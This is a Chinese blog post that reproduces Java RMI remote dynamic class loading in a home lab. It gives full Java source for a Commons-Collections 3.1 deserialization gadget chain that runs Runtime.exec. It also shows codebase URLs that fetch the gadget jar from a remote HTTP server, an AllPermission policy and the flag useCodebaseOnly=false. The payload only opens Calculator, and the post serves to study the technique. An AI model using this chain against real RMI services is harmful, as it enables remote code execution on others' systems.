Java 远程动态加载之简单利用

简单复现一下 并记录

Posted by BY Diego on February 20, 2021

Java 远程动态加载

在目标环境没有commons-collections-3.1.jar 时 可以在目标环境允许加载外部库时 从而进行利用

https://govuln.com/attachment/798/

image-20210219143715287

服务端攻击客户端

恶意服务端 (192.168.0.104)

目录结构

image-20210219143010675

RemoteHello.java 接口类

package Remote;

import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteHello extends Remote {
    Object exp() throws RemoteException,Exception;
}

RemoteHelloImpl.java 接口实现类

package Remote;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;

public class RemoteHelloImpl implements RemoteHello {

    public Object exp() throws Exception {
        System.out.println("exp");
        return payload(); //将生成的对象返回 然后传输前进行序列化
    }

    public static Object payload() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]
                        {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,
                        Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})};
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null,transformerChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class,Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        //return instance;
	return new String();
    }
}

Index.java

package Remote;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class Index {
    public static void main(String[] args) throws RemoteException,
            MalformedURLException {
        try {
            System.setProperty("java.rmi.server.codebase",
                    "http://192.168.0.104:8000/commons-collections-3.1.jar"); //恶意服务端导入远程外部库
            
            RemoteHello h = new RemoteHelloImpl();
            RemoteHello skeleton = (RemoteHello)
                    UnicastRemoteObject.exportObject(h, 0);
            LocateRegistry.createRegistry(1099);
            Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
          
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
    }
}

编译和运行时导入 commons-collections-3.1.jar 库

javac -cp ../RMI/javalass/commons-collections-3.1.jar:. *.java && mv *.class Remote && java -cp ../RMI/javalass/commons-collections-3.1.jar:. Remote.Index

远程库 (192.168.0.104:8000)

image-20210219143327525

image-20210219143355601

客户端(192.168.0.104)

不含commons-collections-3.1.jar 环境为 jdk7 (需要满足最上面两个条件)

目录结构

image-20210219142919982

RemoteHello.java

package Remote;

import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteHello extends Remote {
    Object exp() throws RemoteException,Exception;
}

RMIClient.java

package Remote;

import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
    public static void main(String[] args) throws Exception {
        System.setProperty("java.security.policy",RMIClient.class.getResource("../policy").getFile());// 需要注意getResource 的路径 否则会爆错
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);
      
        Registry registry = LocateRegistry.getRegistry("192.168.0.104", 1099);
        // 查找名称为"Hello"的服务并强制转型为Hello接⼝:
        RemoteHello h = (RemoteHello) registry.lookup("Hello");
        Object rs = h.exp();
        System.out.println(rs);
    }
}

policy

grant {
 permission java.security.AllPermission;
};

编译的时候需要设置java.rmi.server.useCodebaseOnly=false

javac *.java && mv *.class Remote  && java -Dfile.encoding=UTF-8 -Djava.rmi.server.useCodebaseOnly=false   Remote.RMIClient

客户端执行之后

image-20210219153755096

http服务访问情况

image-20210219153835598

流程

image-20210219161416564

image-20210219180347565

流量情况 (在return data 里返回了远程包的地址)

image-20210219160821215

只有客户端使用到相关类的时候才回去加载远程的库 ,否则 不会去加载

image-20210219161212950

如下进行修改

image-20210219181039702

虽然返回了远程库地址 但没有发送http请求

image-20210219181229242

客户端攻击服务端

服务端

目录结构

image-20210219185916518

RemoteHello.java

package Remote1;

import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteHello extends Remote {
    String exp(Object obj) throws RemoteException,Exception;
}

RemoteHelloImpl.java

package Remote1;

import java.rmi.RemoteException;

public class RemoteHelloImpl implements RemoteHello {
    public String exp(Object obj) throws RemoteException,Exception {
        return "ok";
    }
}

RMIServer.java

package Remote1;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
    public static void main(String[] args) throws RemoteException,
            MalformedURLException {
            System.setProperty("java.security.policy",
                    RMIServer.class.getResource("../policy").getFile());
            RMISecurityManager securityManager = new RMISecurityManager();
            System.setSecurityManager(securityManager);

            RemoteHello h = new RemoteHelloImpl();
            RemoteHello skeleton = (RemoteHello) UnicastRemoteObject.exportObject(h, 0);
            LocateRegistry.createRegistry(1099);
            Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }
}

Policy 同上

恶意客户端

image-20210219191441593

RemoteHello.java

package Remote1;

import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteHello extends Remote {
    String exp(Object obj) throws RemoteException,Exception;
}

RemoteClient.java

package Remote1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RemoteClient {
    public static void main(String[] args) throws Exception {
        System.setProperty("java.rmi.server.codebase",
                "http://192.168.0.104:8000/commons-collections-3.1.jar");

        Registry registry = LocateRegistry.getRegistry("192.168.0.100", 1099);
        RemoteHello h = (RemoteHello) registry.lookup("Hello");
        String rs = h.exp(payload());
        System.out.println(rs);
    }
    public static Object payload() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,
                        Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,
                        Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

服务端运行(mac)

javac *.java && mv *.class Remote1 && java -Dfile.encoding=UTF-8 -Djava.rmi.server.useCodebaseOnly=false  Remote1.RMIServer

客户端运行(ubuntu)

javac -cp ../RMI/javalass/commons-collections-3.1.jar:. *.java && mv *.class Remote1 && java -cp ../RMI/javalass/commons-collections-3.1.jar:. Remote1.RemoteClient

效果

image-20210219191920692